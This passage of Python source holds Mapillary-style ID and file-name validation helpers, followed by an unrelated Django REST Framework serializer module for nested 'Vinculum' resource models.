            "existed_at": kwargs.get("existed_at", None),
            "existed_before": kwargs.get("existed_before", None),
        }

def valid_id(identity: int, image=True) -> None:
    """
    Checks if a given id is valid as it is assumed. For example, is a given id expectedly an
    image_id or not? Is the id expectedly a map_feature_id or not?

    :param identity: The ID passed
    :type identity: int

    :param image: Is the passed id an image_id?
    :type image: bool

    :raises InvalidOptionError: Raised when invalid arguments are passed

    :return: None
    :rtype: None
    """

    # IF image == False, and error_check == True, this becomes True
    # IF image == True, and error_check == False, this becomes True
    if image ^ is_image_id(identity=identity, fields=[]):
        # The EntityAdapter() sends a request to the server, checking
        # if the id is indeed an image_id, TRUE is so, else FALSE

        # Raises an exception of InvalidOptionError
        raise InvalidOptionError(
            param="id",
            value=f"ID: {identity}, image: {image}",
            options=[
                "ID is image_id AND image is True",
                "ID is map_feature_id AND image is False",
            ],
        )

def is_image_id(identity: int, fields: list = None) -> bool:
    """
    Checks if the id is an image_id

    :param identity: The id to be checked
    :type identity: int

    :param fields: The fields to be checked
    :type fields: list

    :return: True if the id is an image_id, else False
    :rtype: bool
    """

    try:
        res = requests.get(
            Entities.get_image(
                image_id=str(identity),
                fields=fields if fields != [] else Entities.get_image_fields(),
            ),
            headers={"Authorization": f"OAuth {Client.get_token()}"},
        )
        return res.status_code == 200

    except requests.HTTPError:
        return False

def check_file_name_validity(file_name: str) -> bool:
    """
    Checks if the file name is valid

    Valid file names are,

    - Without extensions
    - Without special characters
    - A-Z, a-z, 0-9, _, -

    :param file_name: The file name to be checked
    :type file_name: str

    :return: True if the file name is valid, else False
    :rtype: bool
    """

    string_check = re.compile("[@.!#$%^&*()<>?/}{~:]")  # noqa: W605
    if (
        # File name characters are not all ASCII
        not all(ord(c) < 128 for c in file_name)
        # File name characters contain special characters or extensions
        or string_check.search(file_name)
    ):
        print(
            f"File name: {file_name} is not valid. Please use only letters, numbers, dashes,"
            f" and underscores. \nDefaulting to: mapillary_CURRENT_UNIX_TIMESTAMP_"
        )
        return False
    return True


from rest_framework import serializers

from vinculum.models import Vinculum, RemoteResources, InputOutputPath

class InputOutputPathSerializer(serializers.ModelSerializer):

    class Meta:
        model = InputOutputPath
        fields = ("input_path", "output_path")

class RemoteResourceSerializer(serializers.ModelSerializer):
    io_paths = InputOutputPathSerializer(many=True)

    class Meta:
        model = RemoteResources
        fields = ('authentication_behavior', 'remote_resource_path', 'io_paths')

    # def create(self, validated_data):
    #     input_paths = validated_data.pop('input_paths')
    #     remote_resource = RemoteResources.objects.create(**validated_data)
    #     for input_path in input_paths:
    #         InputPath.objects.create(remote_resource=remote_resource, **input_path)
    #     return remote_resource

class VinculumSerializer(serializers.ModelSerializer):

    owner = serializers.ReadOnlyField(source='owner.username')
    remote_resources = RemoteResourceSerializer(many=True)

    class Meta:
        model = Vinculum
        fields = ('id', 'task_id', 'title', 'owner', "root_path", "remote_resources")

    def create(self, validated_data):
        # manually buildup the entire vinculum here. Newer versions of DRF don't
        # support automatic deserialization nested anymore
        remoteresources = validated_data.pop('remote_resources')
        vinculum = Vinculum.objects.create(**validated_data)
        for remoteresource in remoteresources:
            io_paths = remoteresource.pop('io_paths')
            r = RemoteResources.objects.create(vinculum=vinculum, **remoteresource)
            for io_path in io_paths:
                InputOutputPath.objects.create(remote_resource=r, **io_path)
        return vinculum

    # def update(self, instance, validated_data):
    #     # manually buildup the entire
    #     remoteresources = validated_data.pop('remote_resources')
    #     for remoteresource in remoteresources:
    #         pass
    #     return instance